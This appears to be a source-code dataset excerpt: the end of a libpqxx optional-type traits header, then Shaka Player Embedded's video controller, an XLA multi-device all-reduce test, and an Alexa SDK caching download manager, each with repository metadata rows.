template<typename T> struct is_tuple<
T,
typename std::enable_if<(std::tuple_size<T>::value >= 0)>::type
> : std::true_type {};
/// Detect if a type is an iterable container
template<typename T, typename = void> struct is_container : std::false_type {};
template<typename T> struct is_container<
T,
void_t<
decltype(std::begin(std::declval<T>())),
decltype(std::end(std::declval<T>())),
// Some people might implement a `std::tuple<>` specialization that is
// iterable when all the contained types are the same ;)
typename std::enable_if<!is_tuple<T>::value>::type
>
> : std::true_type {};
/// Get an appropriate null value for the given type
/**
* pointer types `nullptr`
* `std::optional<>`-like `std::nullopt`
* `std::experimental::optional<>`-like `std::experimental::nullopt`
* other types `pqxx::string_traits<>::null()`
* Users may add support for their own wrapper types following this pattern.
*/
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
(
is_optional<T>::value
&& !takes_std_nullopt<T>::value
&& std::is_assignable<T, std::nullptr_t>::value
),
std::nullptr_t
>::type
{ return nullptr; }
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
(!is_optional<T>::value && !takes_std_nullopt<T>::value),
decltype(pqxx::string_traits<T>::null())
>::type
{ return pqxx::string_traits<T>::null(); }
#if defined(PQXX_HAVE_OPTIONAL)
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
takes_std_nullopt<T>::value,
std::nullopt_t
>::type
{ return std::nullopt; }
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
takes_std_nullopt<T>::value,
std::experimental::nullopt_t
>::type
{ return std::experimental::nullopt; }
#endif
/// Construct an optional-like type from the stored type
/**
* While these may seem redundant, they are necessary to support smart pointers
* as optional storage types in a generic manner. It is suggested NOT to
* provide a version for `inner_type<T>*` as that will almost certainly leak
* memory.
* Users may add support for their own wrapper types following this pattern.
*/
// Enabled if the wrapper type can be directly constructed from the wrapped type
// (e.g. `std::optional<>`); explicitly disabled for raw pointers in case the
// inner type is convertible to a pointer (e.g. `int`)
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
!std::is_same<T, inner_type<T>*>::value,
decltype(T(std::forward<V>(v)))
>::type
{ return T(std::forward<V>(v)); }
// Enabled if T is a specialization of `std::unique_ptr<>`
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
std::is_same<T, std::unique_ptr<inner_type<T>>>::value,
std::unique_ptr<inner_type<T>>
>::type
{
return std::unique_ptr<inner_type<T>>(new inner_type<T>(std::forward<V>(v)));
}
// Enabled if T is a specialization of `std::shared_ptr<>`
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
std::is_same<T, std::shared_ptr<inner_type<T>>>::value,
std::shared_ptr<inner_type<T>>
>::type
{ return std::make_shared<inner_type<T>>(std::forward<V>(v)); }
} // namespace pqxx::internal
} // namespace pqxx
// TODO: Move?
namespace pqxx
{
/// Meta `pqxx::string_traits` for optional types
template<typename T> struct string_traits<
T,
typename std::enable_if<internal::is_optional<T>::value>::type
>
{
private:
using I = internal::inner_type<T>;
public:
static constexpr const char *name() noexcept
{ return string_traits<I>::name(); }
static constexpr bool has_null() noexcept { return true; }
static bool is_null(const T& v)
{ return (!v || string_traits<I>::is_null(*v)); }
static constexpr T null() { return internal::null_value<T>(); }
static void from_string(const char Str[], T &Obj)
{
if (!Str) Obj = null();
else
{
I inner;
string_traits<I>::from_string(Str, inner);
// Utilize existing memory if possible (e.g. for pointer types)
if (Obj) *Obj = inner;
// Important to assign to set valid flag for smart optional types
else Obj = internal::make_optional<T>(inner);
}
}
static std::string to_string(const T& Obj)
{
if (is_null(Obj)) internal::throw_null_conversion(name());
return string_traits<I>::to_string(*Obj);
}
};
} // namespace pqxx
#endif
| 33.611374 | 80 | 0.695431 | yogsothoth |
1513b55f94d45604ad9005a0df3efd30c6e50e23 | 13,535 | cc | C++ | shaka/src/media/video_controller.cc | bnge/shaka-player-embedded | 6301c06d318ed86601583f37bcf6e6ab29677403 | [
"Apache-2.0"
] | 1 | 2019-07-15T19:26:33.000Z | 2019-07-15T19:26:33.000Z | shaka/src/media/video_controller.cc | bnge/shaka-player-embedded | 6301c06d318ed86601583f37bcf6e6ab29677403 | [
"Apache-2.0"
] | null | null | null | shaka/src/media/video_controller.cc | bnge/shaka-player-embedded | 6301c06d318ed86601583f37bcf6e6ab29677403 | [
"Apache-2.0"
] | 6 | 2019-05-02T07:24:53.000Z | 2021-07-01T07:51:27.000Z | // Copyright 2017 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "src/media/video_controller.h"
#include <glog/logging.h>
#include <algorithm>
#include <cmath>
#include <utility>
#include <vector>
#include "src/core/js_manager_impl.h"
#include "src/media/audio_renderer.h"
#include "src/media/media_utils.h"
#include "src/media/video_renderer.h"
#include "src/util/clock.h"
namespace shaka {
namespace media {
namespace {
std::string FormatSize(const FrameBuffer* buffer) {
const char* kSuffixes[] = {"", " KB", " MB", " GB", " TB"};
size_t size = buffer->EstimateSize();
for (const char* suffix : kSuffixes) {
if (size < 3 * 1024)
return std::to_string(size) + suffix;
size /= 1024;
}
LOG(FATAL) << "Size too large to print.";
}
std::string FormatBuffered(const FrameBuffer* buffer) {
std::string ret;
for (auto& range : buffer->GetBufferedRanges()) {
if (!ret.empty())
ret += ", ";
ret += util::StringPrintf("%.2f - %.2f", range.start, range.end);
}
return "[" + ret + "]";
}
Renderer* CreateRenderer(SourceType source, std::function<double()> get_time,
std::function<double()> get_playback_rate,
Stream* stream) {
switch (source) {
case SourceType::Audio:
return new AudioRenderer(std::move(get_time),
std::move(get_playback_rate), stream);
case SourceType::Video:
return new VideoRenderer(std::move(get_time), stream);
default:
LOG(FATAL) << "Unknown source type: " << source;
}
}
/**
* A task that invokes the encrypted init data callback on the main thread.
* We can't use PlainCallbackTask since that uses std::bind, which requires
* the arguments to be copyable, which ByteBuffer isn't.
*/
class EncryptedInitDataTask : public memory::Traceable {
public:
EncryptedInitDataTask(
std::function<void(eme::MediaKeyInitDataType, ByteBuffer)> cb,
eme::MediaKeyInitDataType type, ByteBuffer buffer)
: cb_(cb), type_(type), buffer_(std::move(buffer)) {}
void Trace(memory::HeapTracer* tracer) const override {
// This shouldn't really be needed since there isn't a JavaScript buffer
// backing it; but do it just to be safe.
tracer->Trace(&buffer_);
}
void operator()() {
cb_(type_, std::move(buffer_));
}
private:
const std::function<void(eme::MediaKeyInitDataType, ByteBuffer)> cb_;
const eme::MediaKeyInitDataType type_;
ByteBuffer buffer_;
};
} // namespace
VideoController::VideoController(
std::function<void(SourceType, Status)> on_error,
std::function<void()> on_waiting_for_key,
std::function<void(eme::MediaKeyInitDataType, ByteBuffer)>
on_encrypted_init_data,
std::function<void(MediaReadyState)> on_ready_state_changed,
std::function<void(PipelineStatus)> on_pipeline_changed)
: mutex_("VideoController"),
on_error_(std::move(on_error)),
on_waiting_for_key_(std::move(on_waiting_for_key)),
on_encrypted_init_data_(std::move(on_encrypted_init_data)),
pipeline_(MainThreadCallback(std::move(on_pipeline_changed)),
std::bind(&VideoController::OnSeek, this),
&util::Clock::Instance),
monitor_(std::bind(&VideoController::GetBufferedRanges, this,
SourceType::Unknown),
std::bind(&VideoController::GetDecodedRanges, this),
MainThreadCallback(std::move(on_ready_state_changed)),
&util::Clock::Instance, &pipeline_),
cdm_(nullptr) {
Reset();
}
VideoController::~VideoController() {
util::shared_lock<SharedMutex> lock(mutex_);
for (const auto& source : sources_) {
source.second->demuxer.Stop();
source.second->decoder.Stop();
}
monitor_.Stop();
}
void VideoController::SetVolume(double volume) {
std::unique_lock<SharedMutex> lock(mutex_);
volume_ = volume;
Source* source = GetSource(SourceType::Audio);
if (source && source->renderer)
static_cast<AudioRenderer*>(source->renderer.get())->SetVolume(volume);
}
Frame VideoController::DrawFrame(double* delay) {
std::unique_lock<SharedMutex> lock(mutex_);
Source* source = GetSource(SourceType::Video);
if (!source || !source->renderer)
return Frame();
int dropped_frame_count = 0;
bool is_new_frame = false;
Frame ret =
source->renderer->DrawFrame(&dropped_frame_count, &is_new_frame, delay);
quality_info_.droppedVideoFrames += dropped_frame_count;
quality_info_.totalVideoFrames += dropped_frame_count;
if (is_new_frame)
quality_info_.totalVideoFrames++;
#ifndef NDEBUG
static uint64_t last_print_time = 0;
static uint64_t last_dropped_frame_count = 0;
const uint64_t cur_time = util::Clock::Instance.GetMonotonicTime();
if (quality_info_.droppedVideoFrames != last_dropped_frame_count &&
cur_time - last_print_time > 250) {
const int delta_frames =
quality_info_.droppedVideoFrames - last_dropped_frame_count;
LOG(INFO) << "Dropped " << delta_frames << " frames.";
last_print_time = cur_time;
last_dropped_frame_count = quality_info_.droppedVideoFrames;
}
#endif
return ret;
}
void VideoController::SetCdm(eme::Implementation* cdm) {
std::unique_lock<SharedMutex> lock(mutex_);
cdm_ = cdm;
for (auto& pair : sources_) {
pair.second->decoder.SetCdm(cdm);
}
}
Status VideoController::AddSource(const std::string& mime_type,
SourceType* source_type) {
std::unique_lock<SharedMutex> lock(mutex_);
using namespace std::placeholders; // NOLINT
std::string container;
std::string codec;
if (!ParseMimeAndCheckSupported(mime_type, source_type, &container, &codec))
return Status::NotSupported;
if (sources_.count(*source_type) != 0)
return Status::NotAllowed;
std::unique_ptr<Source> source(new Source(
*source_type, &pipeline_, container, codec,
MainThreadCallback(on_waiting_for_key_),
std::bind(&VideoController::OnEncryptedInitData, this, _1, _2, _3),
std::bind(&PipelineManager::GetCurrentTime, &pipeline_),
std::bind(&VideoController::GetPlaybackRate, this),
std::bind(&VideoController::OnError, this, *source_type, _1),
std::bind(&VideoController::OnLoadMeta, this, *source_type)));
if (source->renderer) {
if (*source_type == SourceType::Audio)
static_cast<AudioRenderer*>(source->renderer.get())->SetVolume(volume_);
}
source->decoder.SetCdm(cdm_);
sources_.emplace(*source_type, std::move(source));
return Status::Success;
}
bool VideoController::AppendData(SourceType type, double timestamp_offset,
double window_start, double window_end,
const uint8_t* data, size_t data_size,
std::function<void(Status)> on_complete) {
util::shared_lock<SharedMutex> lock(mutex_);
Source* source = GetSource(type);
if (!source) {
LOG(ERROR) << "Missing media source for " << type;
return false;
}
source->demuxer.AppendData(timestamp_offset, window_start, window_end, data,
data_size, std::move(on_complete));
return true;
}
bool VideoController::Remove(SourceType type, double start, double end) {
util::shared_lock<SharedMutex> lock(mutex_);
Source* source = GetSource(type);
if (!source) {
LOG(ERROR) << "Missing media source for " << type;
return false;
}
source->stream.GetDemuxedFrames()->Remove(start, end);
return true;
}
void VideoController::EndOfStream() {
double duration = 0;
{
util::shared_lock<SharedMutex> lock(mutex_);
for (auto& pair : sources_) {
auto buffered = pair.second->stream.GetBufferedRanges();
// Use the maximum duration of any stream as the total media duration.
// See: https://w3c.github.io/media-source/#end-of-stream-algorithm
if (!buffered.empty())
duration = std::max(duration, buffered.back().end);
}
}
pipeline_.SetDuration(duration);
}
BufferedRanges VideoController::GetBufferedRanges(SourceType type) const {
util::shared_lock<SharedMutex> lock(mutex_);
if (type == SourceType::Unknown) {
std::vector<BufferedRanges> sources;
sources.reserve(sources_.size());
for (auto& pair : sources_)
sources.push_back(pair.second->stream.GetBufferedRanges());
return IntersectionOfBufferedRanges(sources);
}
const Source* source = GetSource(type);
return source ? source->stream.GetBufferedRanges() : BufferedRanges();
}
void VideoController::Reset() {
{
util::shared_lock<SharedMutex> shared(mutex_);
for (auto& source : sources_) {
source.second->demuxer.Stop();
source.second->decoder.Stop();
}
}
std::unique_lock<SharedMutex> unique(mutex_);
sources_.clear();
cdm_ = nullptr;
quality_info_.creationTime = NAN;
quality_info_.totalVideoFrames = 0;
quality_info_.droppedVideoFrames = 0;
quality_info_.corruptedVideoFrames = 0;
}
void VideoController::DebugDumpStats() const {
util::shared_lock<SharedMutex> lock(mutex_);
printf("Video Stats:\n");
printf(" Pipeline Status: %s\n",
to_string(pipeline_.GetPipelineStatus()).c_str());
printf(" Current Time: %.2f\n", pipeline_.GetCurrentTime());
printf(" Duration: %.2f\n", pipeline_.GetDuration());
printf(" Playback Rate: %.2f\n", pipeline_.GetPlaybackRate());
for (auto& pair : sources_) {
printf(" Buffer (%s):\n", to_string(pair.first).c_str());
printf(" Demuxed (%s): %s\n",
FormatSize(pair.second->stream.GetDemuxedFrames()).c_str(),
FormatBuffered(pair.second->stream.GetDemuxedFrames()).c_str());
printf(" Decoded (%s): %s\n",
FormatSize(pair.second->stream.GetDecodedFrames()).c_str(),
FormatBuffered(pair.second->stream.GetDecodedFrames()).c_str());
}
}
void VideoController::OnSeek() {
util::shared_lock<SharedMutex> lock(mutex_);
for (auto& pair : sources_) {
// No need to reset |processor| since that is done by the decoder.
pair.second->decoder.OnSeek();
if (pair.second->renderer)
pair.second->renderer->OnSeek();
}
}
void VideoController::OnLoadMeta(SourceType type) {
bool done = true;
double duration;
{
util::shared_lock<SharedMutex> lock(mutex_);
DCHECK_EQ(1u, sources_.count(type));
DCHECK(!sources_.at(type)->ready);
sources_.at(type)->ready = true;
duration = sources_.at(type)->processor.duration();
for (auto& pair : sources_) {
if (!pair.second->ready)
done = false;
}
}
if (std::isnan(pipeline_.GetDuration()))
pipeline_.SetDuration(duration == 0 ? HUGE_VAL : duration);
if (done)
pipeline_.DoneInitializing();
}
void VideoController::OnError(SourceType type, Status error) {
pipeline_.OnError();
JsManagerImpl::Instance()->MainThread()->AddInternalTask(
TaskPriority::Internal, "VideoController::OnError",
PlainCallbackTask(std::bind(on_error_, type, error)));
}
void VideoController::OnEncryptedInitData(
eme::MediaKeyInitDataType init_data_type, const uint8_t* data,
size_t data_size) {
JsManagerImpl::Instance()->MainThread()->AddInternalTask(
TaskPriority::Internal, "VideoController::OnEncryptedInitData",
EncryptedInitDataTask(on_encrypted_init_data_, init_data_type,
ByteBuffer(data, data_size)));
}
BufferedRanges VideoController::GetDecodedRanges() const {
util::shared_lock<SharedMutex> lock(mutex_);
std::vector<BufferedRanges> sources;
sources.reserve(sources_.size());
for (auto& pair : sources_) {
sources.push_back(
pair.second->stream.GetDecodedFrames()->GetBufferedRanges());
}
return IntersectionOfBufferedRanges(sources);
}
double VideoController::GetPlaybackRate() const {
if (pipeline_.GetPipelineStatus() != PipelineStatus::Playing)
return 0;
return pipeline_.GetPlaybackRate();
}
VideoController::Source::Source(
SourceType source_type, PipelineManager* pipeline,
const std::string& container, const std::string& codecs,
std::function<void()> on_waiting_for_key,
std::function<void(eme::MediaKeyInitDataType, const uint8_t*, size_t)>
on_encrypted_init_data,
std::function<double()> get_time, std::function<double()> get_playback_rate,
std::function<void(Status)> on_error, std::function<void()> on_load_meta)
: processor(container, codecs, std::move(on_encrypted_init_data)),
decoder(get_time, std::bind(&VideoController::Source::OnSeekDone, this),
std::move(on_waiting_for_key), std::move(on_error), &processor,
pipeline, &stream),
demuxer(std::move(on_load_meta), &processor, &stream),
renderer(CreateRenderer(source_type, get_time,
std::move(get_playback_rate), &stream)),
ready(false) {}
VideoController::Source::~Source() {}
void VideoController::Source::OnSeekDone() {
if (renderer)
renderer->OnSeekDone();
}
} // namespace media
} // namespace shaka
| 34.007538 | 80 | 0.684152 | bnge |
1513d89ba9c95b3097229b268d22832dee3e98cd | 1,992 | cc | C++ | tensorflow/compiler/xla/tests/multi_device_all_reduce_test.cc | fraudies/tensorflow | a42423e302b71893bbd24aa896869941013c07fb | [
"Apache-2.0"
] | 36 | 2016-12-17T15:25:25.000Z | 2022-01-29T21:50:53.000Z | tensorflow/compiler/xla/tests/multi_device_all_reduce_test.cc | fraudies/tensorflow | a42423e302b71893bbd24aa896869941013c07fb | [
"Apache-2.0"
] | 59 | 2019-06-17T09:37:49.000Z | 2022-01-19T01:21:34.000Z | tensorflow/compiler/xla/tests/multi_device_all_reduce_test.cc | fraudies/tensorflow | a42423e302b71893bbd24aa896869941013c07fb | [
"Apache-2.0"
] | 36 | 2017-07-27T21:12:40.000Z | 2022-02-03T16:45:56.000Z | /* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/literal.h"
#include "tensorflow/compiler/xla/service/hlo_parser.h"
#include "tensorflow/compiler/xla/shape_util.h"
#include "tensorflow/compiler/xla/test.h"
#include "tensorflow/compiler/xla/test_helpers.h"
#include "tensorflow/compiler/xla/tests/hlo_test_base.h"
#include "tensorflow/compiler/xla/tests/test_macros.h"
namespace xla {
namespace {
class MultiDeviceAllReduceTest : public HloTestBase {};
XLA_TEST_F(MultiDeviceAllReduceTest, TwoReplicasOneOperand) {
const char* module_str = R"(
HloModule test
add {
x = f32[] parameter(0)
y = f32[] parameter(1)
add = f32[] add(x, y)
}
ENTRY test_computation {
p = f32[3] parameter(0)
ROOT crs = f32[3] all-reduce(p), to_apply=add
})";
auto config = GetModuleConfigForTest();
config.set_replica_count(2);
auto module = ParseHloString(module_str, config).ValueOrDie();
auto literal = LiteralUtil::CreateR1<float>({1, 2, 3});
auto expected = LiteralUtil::CreateR1<float>({2, 4, 6});
TF_ASSERT_OK_AND_ASSIGN(std::vector<Literal> results,
ExecuteReplicated(std::move(module), {&literal}, 2,
/*use_threads=*/true));
EXPECT_EQ(expected, results[0]);
EXPECT_EQ(expected, results[1]);
}
} // namespace
} // namespace xla
| 34.947368 | 80 | 0.688253 | fraudies |
15178037d8f264798f94965d677ddf106dcfe681 | 13,782 | cpp | C++ | modules/Alexa/SampleApp/src/CachingDownloadManager.cpp | germanviscuso/alexa-smart-screen-sdk | 9878cafa35df05d862b3bfc027aa6b1b463ef9c1 | [
"Apache-2.0"
] | null | null | null | modules/Alexa/SampleApp/src/CachingDownloadManager.cpp | germanviscuso/alexa-smart-screen-sdk | 9878cafa35df05d862b3bfc027aa6b1b463ef9c1 | [
"Apache-2.0"
] | null | null | null | modules/Alexa/SampleApp/src/CachingDownloadManager.cpp | germanviscuso/alexa-smart-screen-sdk | 9878cafa35df05d862b3bfc027aa6b1b463ef9c1 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0/
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <fstream>
#include <unordered_map>
#include <AVSCommon/Utils/JSON/JSONUtils.h>
#include "SampleApp/CachingDownloadManager.h"
#include <RegistrationManager/CustomerDataManager.h>
namespace alexaSmartScreenSDK {
namespace sampleApp {
static const std::string TAG{"CachingDownloadManager"};
#define LX(event) alexaClientSDK::avsCommon::utils::logger::LogEntry(TAG, event)
using namespace alexaClientSDK::avsCommon::avs::attachment;
using namespace alexaClientSDK::avsCommon::sdkInterfaces;
using namespace alexaClientSDK::avsCommon::utils::json;
using namespace alexaClientSDK::avsCommon::utils::libcurlUtils;
using namespace alexaClientSDK::avsCommon::utils::sds;
/// Process attachment ID
static const std::string PROCESS_ATTACHMENT_ID = "import_download:";
/// A wait period for a polling loop that constantly check if a content fetcher finished fetching the payload or failed.
static const std::chrono::milliseconds WAIT_FOR_ACTIVITY_TIMEOUT{100};
/// Timeout to wait for am item to arrive from the content fetcher
static const std::chrono::minutes FETCH_TIMEOUT{5};
/// The number of bytes read from the attachment with each read in the read loop.
static const size_t CHUNK_SIZE(1024);
/// Component name for SmartScreenSampleApp
static const std::string COMPONENT_NAME = "SmartScreenSampleApp";
/// Table name for APL packages
static const std::string TABLE_NAME = "Packages";
/// Delimiter to separate package content and import time, since we currently have only one column for value in misc
/// storage
static const std::string DELIMITER = "||||";
/// The number of retries when downloading a package from source
static const int DOWNLOAD_FROM_SOURCE_RETRY_ATTEMPTS = 3;
CachingDownloadManager::CachingDownloadManager(
std::shared_ptr<alexaClientSDK::avsCommon::sdkInterfaces::HTTPContentFetcherInterfaceFactoryInterface>
httpContentFetcherInterfaceFactoryInterface,
unsigned long cachePeriodInSeconds,
unsigned long maxCacheSize,
std::shared_ptr<alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface> miscStorage,
const std::shared_ptr<alexaClientSDK::registrationManager::CustomerDataManager> customerDataManager) :
CustomerDataHandler{customerDataManager},
m_contentFetcherFactory{httpContentFetcherInterfaceFactoryInterface},
m_cachePeriod{std::chrono::seconds(cachePeriodInSeconds)},
m_maxCacheSize{maxCacheSize},
m_miscStorage(miscStorage) {
bool doesTableExist = false;
if (!m_miscStorage->tableExists(COMPONENT_NAME, TABLE_NAME, &doesTableExist)) {
ACSDK_ERROR(LX(__func__).m("Cannot check for table existence."));
}
if (!doesTableExist) {
if (!m_miscStorage->createTable(
COMPONENT_NAME,
TABLE_NAME,
alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface::KeyType::STRING_KEY,
alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface::ValueType::STRING_VALUE)) {
ACSDK_ERROR(LX(__func__).m("Cannot create table for storing APL packages."));
}
} else {
std::unordered_map<std::string, std::string> packageMap;
if (!m_miscStorage->load(COMPONENT_NAME, TABLE_NAME, &packageMap)) {
ACSDK_ERROR(LX(__func__).m("Cannot load downloaded packages."));
}
for (auto kvp : packageMap) {
size_t delimiterPos = kvp.second.find(DELIMITER);
if (delimiterPos == std::string::npos) {
ACSDK_ERROR(LX(__func__).m("Package content for " + kvp.first + " is corrupted."));
} else {
auto timeStamp = kvp.second.substr(0, delimiterPos);
auto packageContent = kvp.second.substr(delimiterPos + DELIMITER.length());
auto importTime =
std::chrono::time_point<std::chrono::system_clock>(std::chrono::seconds(std::stol(timeStamp)));
if (std::chrono::system_clock::now() - importTime < m_cachePeriod) {
ACSDK_DEBUG9(LX(__func__).m("Loaded package " + kvp.first + " from misc storage"));
cachedContentMap[kvp.first] = CachedContent(importTime, packageContent);
}
}
}
}
}
CachingDownloadManager::CachedContent::CachedContent(
std::chrono::system_clock::time_point importTime,
const std::string& content) {
this->importTime = importTime;
this->content = content;
}
std::string CachingDownloadManager::retrieveContent(const std::string& source, std::shared_ptr<Observer> observer) {
{
const std::lock_guard<std::mutex> lock(cachedContentMapMutex);
if (cachedContentMap.find(source) != cachedContentMap.end()) {
if ((std::chrono::system_clock::now() - cachedContentMap[source].importTime) < m_cachePeriod) {
ACSDK_DEBUG9(LX("retrieveContent").d("contentSource", "returnedFromCache"));
if (observer) {
observer->onCacheHit();
}
return cachedContentMap[source].content;
}
}
}
std::string content;
for (int i = 0; i < DOWNLOAD_FROM_SOURCE_RETRY_ATTEMPTS; i++) {
content = downloadFromSource(source, observer);
ACSDK_DEBUG9(LX("retrieveContent").d("contentSource", "downloadedFromSource"));
if (!content.empty()) {
auto cachedContent = CachedContent(std::chrono::system_clock::now(), content);
{
const std::lock_guard<std::mutex> lock(cachedContentMapMutex);
cachedContentMap[source] = cachedContent;
cleanUpCache();
}
writeToStorage(source, cachedContent);
return content;
}
}
ACSDK_ERROR(LX("retrieveContent").d("contentSource", "downloadedFromSourceFailedAllRetries"));
return content;
}
void CachingDownloadManager::writeToStorage(
std::string source,
alexaSmartScreenSDK::sampleApp::CachingDownloadManager::CachedContent content) {
m_executor.submit([this, source, content] {
if (!m_miscStorage->put(COMPONENT_NAME, TABLE_NAME, source, cachedContentToString(content, DELIMITER))) {
ACSDK_ERROR(LX(__func__).m("Failed to write package to disk storage."));
} else {
ACSDK_DEBUG9(LX(__func__).m("Successfully stored " + source + " to disk"));
}
});
}
void CachingDownloadManager::cleanUpCache() {
std::chrono::system_clock::time_point oldestTime = std::chrono::system_clock::time_point::max();
std::string oldestSource;
for (auto it = cachedContentMap.begin(); it != cachedContentMap.end();) {
if ((std::chrono::system_clock::now() - it->second.importTime) > m_cachePeriod) {
removeFromStorage(it->first);
it = cachedContentMap.erase(it);
ACSDK_DEBUG9(LX("cleanUpCache").d("deletedCacheEntry", "entryExpired"));
} else {
if (it->second.importTime < oldestTime) {
oldestTime = it->second.importTime;
oldestSource = it->first;
}
it++;
}
}
if (cachedContentMap.size() > m_maxCacheSize) {
cachedContentMap.erase(oldestSource);
ACSDK_DEBUG9(LX("cleanUpCache").d("deletedCacheEntry", "maxCacheSizeReached"));
}
}
void CachingDownloadManager::clearData() {
ACSDK_DEBUG5(LX(__func__));
if (!m_miscStorage->clearTable(COMPONENT_NAME, TABLE_NAME)) {
ACSDK_ERROR(LX("clearTableFailed").d("reason", "unable to clear the table from the database"));
}
}
void CachingDownloadManager::removeFromStorage(std::string source) {
m_executor.submit([this, source] {
if (!m_miscStorage->remove(COMPONENT_NAME, TABLE_NAME, source)) {
ACSDK_ERROR(LX(__func__).m("Failed to remove package " + source + " from disk."));
} else {
ACSDK_DEBUG9(LX(__func__).m("Removed package " + source + " from disk."));
}
});
}
std::string CachingDownloadManager::downloadFromSource(const std::string& source, std::shared_ptr<Observer> observer) {
if (observer) {
observer->onDownloadStarted();
}
auto contentFetcher = m_contentFetcherFactory->create(source);
contentFetcher->getContent(HTTPContentFetcherInterface::FetchOptions::ENTIRE_BODY);
HTTPContentFetcherInterface::Header header = contentFetcher->getHeader(nullptr);
if (!header.successful) {
ACSDK_ERROR(LX(__func__).sensitive("source", source).m("getHeaderFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (!isStatusCodeSuccess(header.responseCode)) {
ACSDK_ERROR(LX("downloadFromSourceFailed")
.d("statusCode", header.responseCode)
.sensitive("url", source)
.d("reason", "nonSuccessStatusCodeFromGetHeader"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
ACSDK_DEBUG9(LX("downloadFromSource")
.d("contentType", header.contentType)
.d("statusCode", header.responseCode)
.sensitive("url", source)
.m("headersReceived"));
auto stream = std::make_shared<InProcessAttachment>(PROCESS_ATTACHMENT_ID);
std::shared_ptr<AttachmentWriter> streamWriter = stream->createWriter(WriterPolicy::BLOCKING);
if (!contentFetcher->getBody(streamWriter)) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "getBodyFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
auto startTime = std::chrono::steady_clock::now();
auto elapsedTime = std::chrono::steady_clock::now() - startTime;
HTTPContentFetcherInterface::State contentFetcherState = contentFetcher->getState();
while ((FETCH_TIMEOUT > elapsedTime) && (HTTPContentFetcherInterface::State::BODY_DONE != contentFetcherState) &&
(HTTPContentFetcherInterface::State::ERROR != contentFetcherState)) {
std::this_thread::sleep_for(WAIT_FOR_ACTIVITY_TIMEOUT);
elapsedTime = std::chrono::steady_clock::now() - startTime;
contentFetcherState = contentFetcher->getState();
}
if (FETCH_TIMEOUT <= elapsedTime) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "waitTimeout"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (HTTPContentFetcherInterface::State::ERROR == contentFetcherState) {
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "receivingBodyFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
std::unique_ptr<AttachmentReader> reader = stream->createReader(ReaderPolicy::NONBLOCKING);
std::string content;
auto readStatus = AttachmentReader::ReadStatus::OK;
std::vector<char> buffer(CHUNK_SIZE, 0);
bool streamClosed = false;
AttachmentReader::ReadStatus previousStatus = AttachmentReader::ReadStatus::OK_TIMEDOUT;
ssize_t bytesReadSoFar = 0;
ssize_t bytesRead = -1;
while (!streamClosed && bytesRead != 0) {
bytesRead = reader->read(buffer.data(), buffer.size(), &readStatus);
bytesReadSoFar += bytesRead;
if (previousStatus != readStatus) {
ACSDK_DEBUG9(LX(__func__).d("readStatus", readStatus));
previousStatus = readStatus;
}
switch (readStatus) {
case AttachmentReader::ReadStatus::CLOSED:
streamClosed = true;
if (bytesRead == 0) {
break;
}
/* FALL THROUGH - to add any data received even if closed */
case AttachmentReader::ReadStatus::OK:
case AttachmentReader::ReadStatus::OK_WOULDBLOCK:
case AttachmentReader::ReadStatus::OK_TIMEDOUT:
content.append(buffer.data(), bytesRead);
break;
case AttachmentReader::ReadStatus::OK_OVERRUN_RESET:
// Current AttachmentReader policy renders this outcome impossible.
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "overrunReset"));
break;
case AttachmentReader::ReadStatus::ERROR_OVERRUN:
case AttachmentReader::ReadStatus::ERROR_BYTES_LESS_THAN_WORD_SIZE:
case AttachmentReader::ReadStatus::ERROR_INTERNAL:
ACSDK_ERROR(LX("downloadFromSourceFailed").d("reason", "readError"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (0 == bytesRead) {
ACSDK_DEBUG9(LX("downloadFromSource").m("alreadyReadAllBytes"));
} else if (observer) {
observer->onBytesRead(bytesRead);
}
}
ACSDK_DEBUG9(LX("downloadFromSource").d("URL", contentFetcher->getUrl()));
if (observer) {
observer->onDownloadComplete();
}
return content;
}
} // namespace sampleApp
} // namespace alexaSmartScreenSDK
| 42.018293 | 120 | 0.654695 | germanviscuso |
